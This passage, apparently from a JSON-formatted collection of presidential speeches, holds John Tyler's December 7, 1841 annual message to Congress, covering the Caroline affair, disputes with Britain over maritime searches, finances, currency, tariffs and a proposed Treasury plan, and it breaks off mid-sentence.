other\nnations; confidence between man and man is in a great measure restored and\nthe credit of this Government fully and perfectly reestablished; commerce\nis becoming more and more extended in its operations and manufacturing and\nmechanical industry once more reap the rewards of skill and labor honestly\napplied; the operations of trade rest on a sound currency and the rates of\nexchange are reduced to their lowest amount.In this condition of things I have felt it to be my duty to bring to your\nfavorable consideration matters of great interest in their present and\nultimate results; and the only desire which I feel in connection with the\nfuture is and will continue to be to leave the country prosperous and its\ninstitutions unimpaired.", 
+    "name": "John Tyler"
+}
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+{
+    "date": "December 7, 1841", 
+    "speech": "To the Senate and House of Representatives of the United States:In coming together, fellow-citizens, to enter again upon the discharge of\nthe duties with which the people have charged us severally, we find great\noccasion to rejoice in the general prosperity of the country. We are in the\nenjoyment of all the blessings of civil and religious liberty, with\nunexampled means of education, knowledge, and improvement. Through the year\nwhich is now drawing to a close peace has been in our borders and plenty in\nour habitations, and although disease has visited some few portions of the\nland with distress and mortality, yet in general the health of the people\nhas been preserved, and we are all called upon by the highest obligations\nof duty to renew our thanks and our devotion to our Heavenly Parent, who\nhas continued to vouchsafe to us the eminent blessings which surround us\nand who has so signally crowned the year with His goodness. If we find\nourselves increasing beyond example in numbers, in strength, in wealth, in\nknowledge, in everything which promotes human and social happiness, let us\never remember our dependence for all these on the protection and merciful\ndispensations of Divine Providence.Since your last adjournment Alexander McLeod, a British subject who was\nindicted for the murder of an American citizen, and whose case has been the\nsubject of a correspondence heretofore communicated to you, has been\nacquitted by the verdict of an impartial and intelligent jury, and has\nunder the judgment of the court been regularly discharged.Great Britain having made known to this Government that the expedition\nwhich was fitted out from Canada for the destruction of the steamboat\nCaroline in the winter of 1837, and which resulted in the destruction of\nsaid boat and in the death of an American citizen, was undertaken by orders\nemanating from the authorities of the British Government in Canada, and\ndemanding the discharge of McLeod upon the ground that if engaged in that\nexpedition he did but fulfill the orders of his Government, has thus been\nanswered in the only way in which she could be answered by a government the\npowers of which are distributed among its several departments by the\nfundamental law. Happily for the people of Great Britain, as well as those\nof the United States, the only mode by which an individual arraigned for a\ncriminal offense before the courts of either can obtain his discharge is by\nthe independent action of the judiciary and by proceedings equally familiar\nto the courts of both countries.If in Great Britain a power exists in the Crown to cause to be entered a\nnolle prosequi, which is not the case with the Executive power of the\nUnited States upon a prosecution pending in a State court, yet there no\nmore than here can the chief executive power rescue a prisoner from custody\nwithout an order of the proper tribunal directing his discharge. The\nprecise stage of the proceedings at which such order may be made is a\nmatter of municipal regulation exclusively, and not to be complained of by\nany other government. In cases of this kind a government becomes\npolitically responsible only when its tribunals of last resort are shown to\nhave rendered unjust and injurious judgments in matters not doubtful. To\nthe establishment and elucidation of this principle no nation has lent its\nauthority more efficiently than Great Britain. Alexander McLeod, having his\noption either to prosecute a writ of error from the decision of the supreme\ncourt of New York, which had been rendered upon his application for a\ndischarge, to the Supreme Court of the United States, or to submit his case\nto the decision of a jury, preferred the latter, deeming it the readiest\nmode of obtaining his liberation; and the result has fully sustained the\nwisdom of his choice. The manner in which the issue submitted was tried\nwill satisfy the English Government that the principles of justice will\nnever fail to govern the enlightened decision of an American tribunal. I\ncan not fail, however, to suggest to Congress the propriety, and in some\ndegree the necessity, of making such provisions by law, so far as they may\nconstitutionally do so, for the removal at their commencement and at the\noption of the party of all such cases as may hereafter arise, and which may\ninvolve the faithful observance and execution of our international\nobligations, from the State to the Federal judiciary. This Government, by\nour institutions, is charged with the maintenance of peace and the\npreservation of amicable relations with the nations of the earth, and ought\nto possess without question all the reasonable and proper means of\nmaintaining the one and preserving the other. While just confidence is felt\nin the judiciary of the States, yet this Government ought to be competent\nin itself for the fulfillment of the high duties which have been devolved\nupon it under the organic law by the States themselves.In the month of September a party of armed men from Upper Canada invaded\nthe territory of the United States and forcibly seized upon the person of\none Grogan, and under circumstances of great harshness hurriedly carried\nhim beyond the limits of the United States and delivered him up to the\nauthorities of Upper Canada. His immediate discharge was ordered by those\nauthorities upon the facts of the case being brought to their knowledge--a\ncourse of procedure which was to have been expected from a nation with whom\nwe are at peace, and which was not more due to the rights of the United\nStates than to its own regard for justice. The correspondence which passed\nbetween the Department of State and the British envoy, Mr. Fox, and with\nthe governor of Vermont, as soon as the facts had been made known to this\ndepartment, are herewith communicated.I regret that it is not in my power to make known to you an equally\nsatisfactory conclusion in the case of the Caroline steamer, with the\ncircumstances connected with the destruction of which, in December, 1837,\nby an armed force fitted out in the Province of Upper Canada, you are\nalready made acquainted. No such atonement as was due for the public wrong\ndone to the United States by this invasion of her territory, so wholly\nirreconcilable with her rights as an independent power, has yet been made.\nIn the view taken by this Government the inquiry whether the vessel was in\nthe employment of those who were prosecuting an unauthorized war against\nthat Province or was engaged by the owner in the business of transporting\npassengers to and from Navy Island in hopes of private gain, which was most\nprobably the case, in no degree alters the real question at issue between\nthe two Governments. This Government can never concede to any foreign\ngovernment the power, except in a case of the most urgent and extreme\nnecessity, of invading its territory, either to arrest the persons or\ndestroy the property of those who may have violated the municipal laws of\nsuch foreign government or have disregarded their obligations arising under\nthe law of nations. The territory of the United States must be regarded as\nsacredly secure against all such invasions until they shall voluntarily\nacknowledge their inability to acquit themselves of their duties to others.\nAnd in announcing this sentiment I do but affirm a principle which no\nnation on earth would be more ready to vindicate at all hazards than the\npeople and Government of Great Britain. If upon a full investigation of all\nthe facts it shall appear that the owner of the Caroline was governed by a\nhostile intent or had made common cause with those who were in the\noccupancy of Navy Island, then so far as he is concerned there can be no\nclaim to indemnity for the destruction of his boat which this Government\nwould feel itself bound to prosecute, since he would have acted not only in\nderogation of the rights of Great Britain, but in clear violation of the\nlaws of the United States; but that is a question which, however settled,\nin no manner involves the higher consideration of the violation of\nterritorial sovereignty and jurisdiction. To recognize it as an admissible\npractice that each Government in its turn, upon any sudden and unauthorized\noutbreak which, on a frontier the extent of which renders it impossible for\neither to have an efficient force on every mile of it, and which outbreak,\ntherefore, neither may be able to suppress in a day, may take vengeance\ninto its own hands, and without even a remonstrance, and in the absence of\nany pressing or overruling necessity may invade the territory of the other,\nwould inevitably lead to results equally to be deplored by both. When\nborder collisions come to receive the sanction or to be made on the\nauthority of either Government general war must be the inevitable result.\nWhile it is the ardent desire of the United States to cultivate the\nrelations of peace with all nations and to fulfill all the duties of good\nneighborhood toward those who possess territories adjoining their own, that\nvery desire would lead them to deny the right of any foreign power to\ninvade their boundary with an armed force. The correspondence between the\ntwo Governments on this subject will at a future day of your session be\nsubmitted to your consideration; and in the meantime I can not but indulge\nthe hope that the British Government will see the propriety of renouncing\nas a rule of future action the precedent which has been set in the affair\nat Schlosser.I herewith submit the correspondence which has recently taken place between\nthe American minister at the Court of St. James, Mr. Stevenson, and the\nminister of foreign affairs of that Government on the right claimed by that\nGovernment to visit and detain vessels sailing under the American flag and\nengaged in prosecuting lawful commerce in the African seas. Our commercial\ninterests in that region have experienced considerable increase and have\nbecome an object of much importance, and it is the duty of this Government\nto protect them against all improper and vexatious interruption. However\ndesirous the United States may be for the suppression of the slave trade,\nthey can not consent to interpolations into the maritime code at the mere\nwill and pleasure of other governments. We deny the right of any such\ninterpolation to any one or all the nations of the earth without our\nconsent. We claim to have a voice in all amendments or alterations of that\ncode, and when we are given to understand, as in this instance, by a\nforeign government that its treaties with other nations can not be executed\nwithout the establishment and enforcement of new principles of maritime\npolice, to be applied without our consent, we must employ a language\nneither of equivocal import or susceptible of misconstruction. American\ncitizens prosecuting a lawful commerce in the African seas under the flag\nof their country are not responsible for the abuse or unlawful use of that\nflag by others; nor can they rightfully on account of any such alleged\nabuses be interrupted, molested, or detained while on the ocean, and if\nthus molested and detained while pursuing honest voyages in the usual way\nand violating no law themselves they are unquestionably entitled to\nindemnity. This Government has manifested its repugnance to the slave trade\nin a manner which can not be misunderstood. By its fundamental law it\nprescribed limits in point of time to its continuance, and against its own\ncitizens who might so far forget the rights of humanity as to engage in\nthat wicked traffic it has long since by its municipal laws denounced the\nmost condign punishment. Many of the States composing this Union had made\nappeals to the civilized world for its suppression long before the moral\nsense of other nations had become shocked by the iniquities of the traffic.\nWhether this Government should now enter into treaties containing mutual\nstipulations upon this subject is a question for its mature deliberation.\nCertain it is that if the right to detain American ships on the high seas\ncan be justified on the plea of a necessity for such detention arising out\nof the existence of treaties between other nations, the same plea may, be\nextended and enlarged by the new stipulations of new treaties to which the\nUnited States may not be a party. This Government will not cease to urge\nupon that of Great Britain full and ample remuneration for all losses,\nwhether arising from detention or otherwise, to which American citizens\nhave heretofore been or may hereafter be subjected by the exercise of\nrights which this Government can not recognize as legitimate and proper.\nNor will I indulge a doubt but that the sense of justice of Great Britain\nwill constrain her to make retribution for any wrong or loss which any\nAmerican citizen engaged in the prosecution of lawful commerce may have\nexperienced at the hands of her cruisers or other public authorities. This\nGovernment, at the same time, will relax no effort to prevent its citizens,\nif there be any so disposed, from prosecuting a traffic so revolting to the\nfeelings of humanity. It seeks to do no more than to protect the fair and\nhonest trader from molestation and injury; but while the enterprising\nmariner engaged in the pursuit of an honorable trade is entitled to its\nprotection, it will visit with condign punishment others of an opposite\ncharacter.I invite your attention to existing laws for the suppression of the African\nslave trade, and recommend all such alterations as may give to them greater\nforce and efficacy. That the American flag is grossly abused by the\nabandoned and profligate of other nations is but too probable. Congress has\nnot long since had this subject under its consideration, and its importance\nwell justifies renewed and anxious attention.I also communicate herewith the copy of a correspondence between Mr.\nStevenson and Lord Palmerston upon the subject, so interesting to several\nof the Southern States, of the rice duties, which resulted honorably to the\njustice of Great Britain and advantageously to the United States.At the opening of the last annual session the President informed Congress\nof the progress which had then been made in negotiating a convention\nbetween this Government and that of England with a view to the final\nsettlement of the question of the boundary between the territorial limits\nof the two countries. I regret to say that little further advancement of\nthe object has been accomplished since last year, but this is owing to\ncircumstances no way indicative of any abatement of the desire of both\nparties to hasten the negotiation to its conclusion and to settle the\nquestion in dispute as early as possible. In the course of the session it\nis my hope to be able to announce some further degree of progress toward\nthe accomplishment of this highly desirable end.The commission appointed by this Government for the exploration and survey\nof the line of boundary separating the States of Maine and New Hampshire\nfrom the conterminous British Provinces is, it is believed, about to close\nits field labors and is expected soon to report the results of its\nexaminations to the Department of State. The report, when received, will be\nlaid before Congress.The failure on the part of Spain to pay with punctuality the interest due\nunder the convention of 1834 for the settlement of claims between the two\ncountries has made it the duty of the Executive to call the particular\nattention of that Government to the subject. A disposition has been\nmanifested by it, which is believed to be entirely sincere, to fulfill its\nobligations in this respect so soon as its internal condition and the state\nof its finances will permit. An arrangement is in progress from the result\nof which it is trusted that those of our citizens who have claims under the\nconvention will at no distant day receive the stipulated payments.A treaty of commerce and navigation with Belgium was concluded and signed\nat Washington on the 29th of March, 1840, and was duly sanctioned by the\nSenate of the United States. The treaty was ratified by His Belgian\nMajesty, but did not receive the approbation of the Belgian Chambers within\nthe time limited by its terms, and has therefore become void.This occurrence assumes the graver aspect from the consideration that in\n1833 a treaty negotiated between the two Governments and ratified on the\npart of the United States failed to be ratified on the part of Belgium. The\nrepresentative of that Government at Washington informs the Department of\nState that he has been instructed to give explanations of the causes which\noccasioned delay in the approval of the late treaty by the legislature, and\nto express the regret of the King at the occurrence.The joint commission under the convention with Texas to ascertain the true\nboundary between the two countries has concluded its labors, but the final\nreport of the commissioner of the United States has not been received. It\nis understood, however, that the meridian line as traced by the commission\nlies somewhat farther east than the position hitherto generally assigned to\nit, and consequently includes in Texas some part of the territory which had\nbeen considered as belonging to the States of Louisiana and Arkansas.The United States can not but take a deep interest in whatever relates to\nthis young but growing Republic. Settled principally by emigrants from the\nUnited States, we have the happiness to know that the great principles of\ncivil liberty are there destined to flourish under wise institutions and\nwholesome laws, and that through its example another evidence is to be\nafforded of the capacity of popular institutions to advance the prosperity,\nhappiness, and permanent glory of the human race. The great truth that\ngovernment was made for the people and not the people for government has\nalready been established in the practice and by the example of these United\nStates, and we can do no other than contemplate its further exemplification\nby a sister republic with the deepest interest.Our relations with the independent States of this hemisphere, formerly\nunder the dominion of Spain, have not undergone any material change within\nthe past year. The incessant sanguinary conflicts in or between those\ncountries are to be greatly deplored as necessarily tending to disable them\nfrom performing their duty as members of the community of nations and\nrising to the destiny which the position and natural resources of many of\nthem might lead them justly to anticipate, as constantly giving occasion\nalso, directly or indirectly, for complaints on the part of our citizens\nwho resort thither for purposes of commercial intercourse, and as retarding\nreparation for wrongs already committed, some of which are by no means of\nrecent date.The failure of the Congress of Ecuador to hold a session at the time\nappointed for that purpose, in January last, will probably render abortive\na treaty of commerce with that Republic, which was signed at Quito on the\n13th of June, 1839, and had been duly ratified on our part, but which\nrequired the approbation of that body prior to its ratification by the\nEcuadorian Executive.A convention which has been concluded with the Republic of Peru, providing\nfor the settlement of certain claims of citizens of the United States upon\nthe Government of that Republic, will be duly submitted to the Senate.The claims of our citizens against the Brazilian Government originating\nfrom captures and other causes are still unsatisfied. The United States\nhave, however, so uniformly shown a disposition to cultivate relations of\namity with that Empire that it is hoped the unequivocal tokens of the same\nspirit toward us which an adjustment of the affairs referred to would\nafford will be given without further avoidable delay.The war with the Indian tribes on the peninsula of Florida has during the\nlast summer and fall been prosecuted with untiring activity and zeal. A\nsummer campaign was resolved upon as the best mode of bringing it to a\nclose. Our brave officers and men who have been engaged in that service\nhave suffered toils and privations and exhibited an energy which in any\nother war would have won for them unfading laurels. In despite of the\nsickness incident to the climate, they have penetrated the fastnesses of\nthe Indians, broken up their encampments, and harassed them unceasingly.\nNumbers have been captured, and still greater numbers have surrendered and\nhave been transported to join their brethren on the lands elsewhere\nallotted to them by the Government, and a strong hope is entertained that\nunder the conduct of the gallant officer at the head of the troops in\nFlorida that troublesome and expensive war is destined to a speedy\ntermination. With all the other Indian tribes we are enjoying the blessings\nof peace. Our duty as well as our best interests prompts us to observe in\nall our intercourse with them fidelity in fulfilling our engagements, the\npractice of strict justice, as well as the constant exercise of acts of\nbenevolence and kindness. These are the great instruments of civilization,\nand through the use of them alone can the untutored child of the forest be\ninduced to listen to its teachings.The Secretary of State, on whom the acts of Congress have devolved the duty\nof directing the proceedings for the taking of the sixth census or\nenumeration of the inhabitants of the United States, will report to the two\nHouses the progress of that work. The enumeration of persons has been\ncompleted, and exhibits a grand total of 17,069,453, making an increase\nover the census of 1830 of 4,202,646 inhabitants, and showing a gain in a\nratio exceeding 32 1/2 per cent for the last ten years.From the report of the Secretary of the Treasury you will be informed of\nthe condition of the finances. The balance in the Treasury on the 1st of\nJanuary last, as stated in the report of the Secretary of the Treasury\nsubmitted to Congress at the extra session, was $987,345.03. The receipts\ninto the Treasury during the first three quarters of this year from all\nsources amount to $23,467,072.52; the estimated receipts for the fourth\nquarter amount to $6,943,095.25, amounting to $30,410,167.77, and making\nwith the balance in the Treasury on the 1st of January last $31,397,512.80.\nThe expenditures for the first three quarters of this year amount to\n$24,734,346.97. The expenditures for the fourth quarter as estimated will\namount to $7,290,723.73, thus making a total of $32,025,070.70, and leaving\na deficit to be provided for on the 1st of January next of about\n$627,557.90.Of the loan of $12,000,000 which was authorized by Congress at its late\nsession only $5,432,726.88 have been negotiated. The shortness of time\nwhich it had to run has presented no inconsiderable impediment in the way\nof its being taken by capitalists at home, while the same cause would have\noperated with much greater force in the foreign market. For that reason the\nforeign market has not been resorted to; and it is now submitted whether it\nwould not be advisable to amend the law by making what remains undisposed\nof payable at a more distant day.Should it be necessary, in any view that Congress may take of the subject,\nto revise the existing tariff of duties, I beg leave to say that in the\nperformance of that most delicate operation moderate counsels would seem to\nbe the wisest. The Government under which it is our happiness to live owes\nits existence to the spirit of compromise which prevailed among its\nframers; jarring and discordant opinions could only have been reconciled by\nthat noble spirit of patriotism which prompted conciliation and resulted in\nharmony. In the same spirit the compromise bill, as it is commonly called,\nwas adopted at the session of 1833. While the people of no portion of the\nUnion will ever hesitate to pay all necessary taxes for the support of\nGovernment, yet an innate repugnance exists to the imposition of burthens\nnot really necessary for that object. In imposing duties, however, for the\npurposes of revenue a right to discriminate as to the articles on which the\nduty shall be laid, as well as the amount, necessarily and most properly\nexists; otherwise the Government would be placed in the condition of having\nto levy the same duties upon all articles, the productive as well as the\nunproductive. The slightest duty upon some might have the effect of causing\ntheir importation to cease, whereas others, entering extensively into the\nconsumption of the country, might bear the heaviest without any sensible\ndiminution in the amount imported. So also the Government may be justified\nin so discriminating by reference to other considerations of domestic\npolicy connected with our manufactures. So long as the duties shall be laid\nwith distinct reference to the wants of the Treasury no well-rounded\nobjection can exist against them. It might be esteemed desirable that no\nsuch augmentation of the taxes should take place as would have the effect\nof annulling the land-proceeds distribution act of the last session, which\nact is declared to be inoperative the moment the duties are increased\nbeyond 20 per cent, the maximum rate established by the compromise act.\nSome of the provisions of the compromise act, which will go into effect on\nthe 30th day of June next, may, however, be found exceedingly inconvenient\nin practice under any regulations that Congress may adopt. I refer more\nparticularly to that relating to the home valuation. A difference in value\nof the same articles to some extent will necessarily exist at different\nports, but that is altogether insignificant when compared with the\nconflicts in valuation which are likely to arise from the differences of\nopinion among the numerous appraisers of merchandise. In many instances the\nestimates of value must be conjectural, and thus as many different rates of\nvalue may be established as there are appraisers. These differences in\nvaluation may also be increased by the inclination which, without the\nslightest imputation on their honesty, may arise on the part of the\nappraisers in favor of their respective ports of entry. I recommend this\nwhole subject to the consideration of Congress with a single additional\nremark. Certainty and permanency in any system of governmental policy are\nin all respects eminently desirable, but more particularly is this true in\nall that affects trade and commerce, the operations of which depend much\nmore on the certainty of their returns and calculations which embrace\ndistant periods of time than on high bounties or duties, which are liable\nto constant fluctuations.At your late session I invited your attention to the condition of the\ncurrency and exchanges and urged the necessity of adopting such measures as\nwere consistent with the constitutional competency of the Government in\norder to correct the unsoundness of the one and, as far as practicable, the\ninequalities of the other. No country can be in the enjoyment of its full\nmeasure of prosperity without the presence of a medium of exchange\napproximating to uniformity of value. What is necessary as between the\ndifferent nations of the earth is also important as between the inhabitants\nof different parts of the same country. With the first the precious metals\nconstitute the chief medium of circulation, and such also would be the case\nas to the last but for inventions comparatively modern, which have\nfurnished in place of gold and silver a paper circulation. I do not propose\nto enter into a comparative analysis of the merits of the two systems. Such\nbelonged more properly to the period of the introduction of the paper\nsystem. The speculative philosopher might find inducements to prosecute the\ninquiry, but his researches could only lead him to conclude that the paper\nsystem had probably better never have been introduced and that society\nmight have been much happier without it. The practical statesman has a very\ndifferent task to perform. He has to look at things as they are, to take\nthem as he finds them, to supply deficiencies and to prune excesses as far\nas in him lies. The task of furnishing a corrective for derangements of the\npaper medium with us is almost inexpressibly great. The power exerted by\nthe States to charter banking corporations, and which, having been carried\nto a great excess, has filled the country with, in most of the States, an\nirredeemable paper medium, is an evil which in some way or other requires a\ncorrective. The rates at which bills of exchange are negotiated between\ndifferent parts of the country furnish an index of the value of the local\nsubstitute for gold and silver, which is in many parts so far depreciated\nas not to be received except at a large discount in payment of debts or in\nthe purchase of produce. It could earnestly be desired that every bank not\npossessing the means of resumption should follow the example of the late\nUnited States Bank of Pennsylvania and go into liquidation rather than by\nrefusing to do so to continue embarrassments in the way of solvent\ninstitutions, thereby augmenting the difficulties incident to the present\ncondition of things. Whether this Government, with due regard to the rights\nof the States, has any power to constrain the banks either to resume specie\npayments or to force them into liquidation, is an inquiry which will not\nfail to claim your consideration. In view of the great advantages which are\nallowed the corporators, not among the least of which is the authority\ncontained in most of their charters to make loans to three times the amount\nof their capital, thereby often deriving three times as much interest on\nthe same amount of money as any individual is permitted by law to receive,\nno sufficient apology can be urged for a long-continued suspension of\nspecie payments. Such suspension is productive of the greatest detriment to\nthe public by expelling from circulation the precious metals and seriously\nhazarding the success of any effort that this Government can make to\nincrease commercial facilities and to advance the public interests.This is the more to be regretted and the indispensable necessity for a\nsound currency becomes the more manifest when we reflect on the vast amount\nof the internal commerce of the country. Of this we have no statistics nor\njust data for forming adequate opinions. But there can be no doubt but that\nthe amount of transportation coastwise by sea, and the transportation\ninland by railroads and canals, and by steamboats and other modes of\nconveyance over the surface of our vast rivers and immense lakes, and the\nvalue of property carried and interchanged by these means form a general\naggregate to which the foreign commerce of the country, large as it is,\nmakes but a distant approach.In the absence of any controlling power over this subject, which, by\nforcing a general resumption of specie payments, would at once have the\neffect of restoring a sound medium of exchange and would leave to the\ncountry but little to desire, what measure of relief falling within the\nlimits of our constitutional competency does it become this Government to\nadopt? It was my painful duty at your last session, under the weight of\nmost solemn obligations, to differ with Congress on the measures which it\nproposed for my approval, and which it doubtless regarded as corrective of\nexisting evils. Subsequent reflection and events since occurring have only\nserved to confirm me in the opinions then entertained and frankly\nexpressed. I must be permitted to add that no scheme of governmental policy\nunaided by individual exertions can be available for ameliorating the\npresent condition of things. Commercial modes of exchange and a good\ncurrency are but the necessary means of commerce and intercourse, not the\ndirect productive sources of wealth. Wealth can only be accumulated by the\nearnings of industry and the savings of frugality, and nothing can be more\nill judged than to look to facilities in borrowing or to a redundant\ncirculation for the power of discharging pecuniary obligations. The country\nis full of resources and the people fall of energy, and the great and\npermanent remedy for present embarrassments must be sought in industry,\neconomy, the observance of good faith, and the favorable influence of time.\nIn pursuance of a pledge given to you in my last message to Congress, which\npledge I urge as an apology for adventuring to present you the details of\nany plan, the Secretary of the Treasury will be ready to submit to you,\nshould you require it, a plan of finance which, while it throws around the\npublic treasure reasonable guards for its protection and rests on powers\nacknowledged in practice to exist from the origin of the Government, will\nat the same time furnish to the country a sound paper medium and afford all\nreasonable facilities for regulating the exchanges. When submitted, you\nwill perceive in it a plan amendatory of the existing laws in relation to\nthe Treasury Department, subordinate in all respects to the will of\nCongress directly and the will of the people indirectly, self-sustaining\nshould it be found in practice to realize its promises in theory, and\nrepealable at the pleasure of Congress. It proposes by effectual restraints\nand by invoking the true spirit of our institutions to separate the purse\nfrom the sword, or, more properly to speak, denies any other control to the\nPresident over the agents who may be selected to carry it into execution\nbut what may be indispensably necessary to secure the fidelity of such\nagents, and by wise regulations keeps plainly apart from each other private\nand public funds. It contemplates the establishment of a board of control\nat the seat of government, with agencies at prominent commercial points or\nwherever else Congress shall direct, for the safe-keeping and disbursement\nof the public moneys and a substitution at the option of the public\ncreditor of Treasury notes in lieu of gold and silver. It proposes to limit\nthe issues to an amount not to exceed $15,000,000 without the express\nsanction of the legislative power. It also authorizes the receipt of\nindividual deposits of gold and silver to a limited amount, and the\ngranting certificates of deposit divided into such sums as may be called\nfor by the depositors. It proceeds a step further and authorizes the\npurchase and sale of domestic bills and drafts resting on a real and\nsubstantial basis, payable at sight or having but a short time to run, and\ndrawn on places not less than 100 miles apart, which authority, except in\nso far as may be necessary for Government purposes exclusively, is only to\nbe exerted upon the express condition that its exercise shall not be\nprohibited by the State in which the agency is situated. In order to cover\nthe expenses incident to the plan, it will be authorized to receive\nmoderate premiums for certificates issued on deposits and on bills bought\nand sold, and thus, as far as its dealings extend, to furnish facilities to\ncommercial intercourse at the lowest possible rates and to subduct from the\nearnings of industry the least possible sum. It uses the State banks at a\ndistance from the agencies as auxiliaries without imparting any power to\ntrade in its name. It is subjected to such guards and restraints as have\nappeared to be necessary. It is the creature of law and exists only at the\npleasure of the Legislature. It is made to rest on an actual specie basis\nin order to redeem the notes at the places of issue, produces no dangerous\nredundancy of circulation, affords no temptation to speculation, is\nattended by no inflation of prices, is equable in its operation, makes the\nTreasury notes (which it may use along with the certificates of deposit and\nthe notes of specie-paying banks) convertible at the place where collected,\nreceivable in payment of Government dues, and without violating any\nprinciple of the Constitution affords the Government and the people such\nfacilities as are called for by the wants of both. Such, it has appeared to\nme, are its recommendations, and in view of them it will be submitted,\nwhenever you may require it, to your consideration.I am not able to perceive that any fair and candid objection can be urged\nagainst the plan, the principal outlines of which I have thus presented. I\ncan not doubt but that the notes which it proposes to furnish at the\nvoluntary option of the public creditor, issued in lieu of the revenue and\nits certificates of deposit, will be maintained at an equality with gold\nand silver everywhere. They are redeemable in gold and silver on demand at\nthe places of issue. They are receivable everywhere in payment of\nGovernment dues. The Treasury notes are limited to an amount of one-fourth\nless than the estimated annual receipts of the Treasury, and in addition\nthey rest upon the faith of the Government for their redemption. If all\nthese assurances are not sufficient to make them available, then the idea,\nas it seems to me, of furnishing a sound paper medium of exchange may be\nentirely abandoned.If a fear be indulged that the Government may be tempted to run into excess\nin its issues at any future day, it seems to me that no such apprehension\ncan reasonably be entertained until all confidence in the representatives\nof the States and of the people, as well as of the people themselves, shall\nbe lost. The weightiest considerations of policy require that the\nrestraints now proposed to be thrown around the measure should not for\nlight causes be removed. To argue against any proposed plan its liability\nto possible abuse is to reject every expedient, since everything dependent\non human action is liable to abuse. Fifteen millions of Treasury notes may\nbe issued as the maximum, but a discretionary power is to be given to the\nboard of control under that sum, and every consideration will unite in\nleading them to feel their way with caution. For the first eight years of\nthe existence of the late Bank of the United States its circulation barely\nexceeded $4,000,000, and for five of its most prosperous years it was about\nequal to $16,000,000; furthermore, the authority given to receive private\ndeposits to a limited amount and to issue certificates in such sums as may\nbe called for by the depositors may so far fill up the channels of\ncirculation as greatly to diminish the necessity of any considerable issue\nof Treasury notes. A restraint upon the amount of private deposits has\nseemed to be indispensably necessary from an apprehension, thought to be\nwell founded, that in any emergency of trade confidence might be so far\nshaken in the banks as to induce a withdrawal from them of private deposits\nwith a view to insure their unquestionable safety when deposited with the\nGovernment, which might prove eminently disastrous to the State banks. Is\nit objected that it is proposed to authorize the agencies to deal in bills\nof exchange? It is answered that such dealings are to be carried on at the\nlowest possible premium, are made to rest on an unquestionably sound basis,\nare designed to reimburse merely the expenses which would otherwise devolve\nupon the Treasury, and are in strict subordination to the decision of the\nSupreme Court in the case of the Bank of Augusta against Earle, and other\nreported cases, and thereby avoids all conflict with State jurisdiction,\nwhich I hold to be indispensably requisite. It leaves the banking\nprivileges of the States without interference, looks to the Treasury and\nthe Union, and while furnishing every facility to the first is careful of\nthe interests of the last. But above all, it is created by law, is\namendable by law, and is repealable by law, and, wedded as I am to no\ntheory, but looking solely to the advancement of the public good, I shall\nbe among the very first to urge its repeal if it be found not to subserve\nthe purposes and objects for which it may be created. Nor will the plan be\nsubmitted in any overweening confidence in the sufficiency of my own\njudgment, but with much greater reliance on the wisdom and patriotism of\nCongress. I can not abandon this subject without urging upon you in the\nmost emphatic manner, whatever may be your action on the suggestions which\nI have felt it to be my duty to submit, to relieve the Chief Executive\nMagistrate, by any and all constitutional means, from a controlling power\nover the public Treasury. If in the plan proposed, should you deem it\nworthy of your consideration, that separation is not as complete as you may\ndesire, you will doubtless amend it in that particular. For myself, I\ndisclaim all desire to have any control over the public moneys other than\nwhat is indispensably necessary to execute the laws which you may pass.Nor can I fail to advert in this connection to the debts which many of the\nStates of the Union have contracted abroad and under which they continue to\nlabor. That indebtedness amounts to a sum not less than $200,000,000, and\nwhich has been retributed to them for the most part in works of internal\nimprovement which are destined to prove of vast importance in ultimately\nadvancing their prosperity and wealth. For the debts thus contracted the\nStates are alone responsible. I can do not more than express the belief\nthat each State will feel itself bound by every consideration of honor as\nwell as of interest to meet its engagements with punctuality. The failure,\nhowever, of any one State to do so should in no degree affect the credit of\nthe rest, and the foreign capitalist will have no just cause to experience\nalarm as to all other State stocks because any one or more of the States\nmay neglect to provide with punctuality the means of redeeming their\nengagements. Even such States, should there be any, considering the great\nrapidity with which their resources are developing themselves, will not\nfail to have the means at no very distant day to redeem their obligations\nto the uttermost farthing; nor will I doubt but that, in view of that\nhonorable conduct which has evermore governed the States and the people of\nthe Union, they will each and all resort to every legitimate expedient\nbefore they will forego a faithful compliance with their obligations.From the report of the Secretary of War and other reports accompanying it\nyou will be informed of the progress which has been made in the\nfortifications designed for the protection of our principal cities,\nroadsteads, and inland frontier during the present year, together with\ntheir true state and condition. They will be prosecuted to completion with\nall the expedition which the means placed by Congress at the disposal of\nthe Executive will allow.I recommend particularly to your consideration that portion of the\nSecretary's report which proposes the establishment of a chain of military\nposts from Council Bluffs to some point on the Pacific Ocean within our\nlimits. The benefit thereby destined to accrue to our citizens engaged in\nthe fur trade over that wilderness region, added to the importance of\ncultivating friendly relations with savage tribes inhabiting it, and at the\nsame time of giving protection to our frontier settlements and of\nestablishing the means of safe intercourse between the American settlements\nat the mouth of the Columbia River and those on this side of the Rocky\nMountains, would seem to suggest the importance of carrying into effect the\nrecommendations upon this head with as little delay as may be practicable.The report of the Secretary of the Navy will place you in possession of the\npresent condition of that important arm of the national defense. Every\neffort will be made to add to its efficiency, and I can not too strongly\nurge upon you liberal appropriations to that branch of the public service.\nInducements of the weightiest character exist for the adoption of this\ncourse of policy. Our extended and otherwise exposed maritime frontier\ncalls for protection, to the furnishing of which an efficient naval force\nis indispensable. We look to no foreign conquests, nor do we propose to\nenter into competition with any other nation for supremacy on the ocean;\nbut it is due not only to the honor but to the security of the people of\nthe United States that no nation should be permitted to invade our waters\nat pleasure and subject our towns and villages to conflagration or pillage.\nEconomy in all branches of the public service is due from all the public\nagents to the people, but parsimony alone would suggest the withholding of\nthe necessary means for the protection of our domestic firesides from\ninvasion and our national honor from disgrace. I would most earnestly\nrecommend to Congress to abstain from all appropriations for objects not\nabsolutely necessary; but I take upon myself, without a moment of\nhesitancy, all the responsibility of recommending the increase and prompt\nequipment of that gallant Navy which has lighted up every sea with its\nvictories and spread an imperishable glory over the country.The report of the Postmaster-General will claim your particular attention,\nnot only because of the valuable suggestions which it contains, but because\nof the great importance which at all times attaches to that interesting\nbranch of the public service. The increased expense of transporting the\nmail along the principal routes necessarily claims the public attention,\nand has awakened a corresponding solicitude on the part of the Government.\nThe transmission of the mail must keep pace with those facilities of\nintercommunication which are every day becoming greater through the\nbuilding of railroads and the application of steam power, but it can not be\ndisguised that in order to do so the Post-Office Department is subjected to\nheavy exactions. The lines of communication between distant parts of the\nUnion are to a great extent occupied by railroads, which, in the nature of\nthings, possess a complete monopoly, and the Department is therefore liable\nto heavy and unreasonable charges. This evil is destined to great increase\nin future, and some timely measure may become necessary to guard against\nit.I feel it my duty to bring under your consideration a practice which has\ngrown up in the administration of 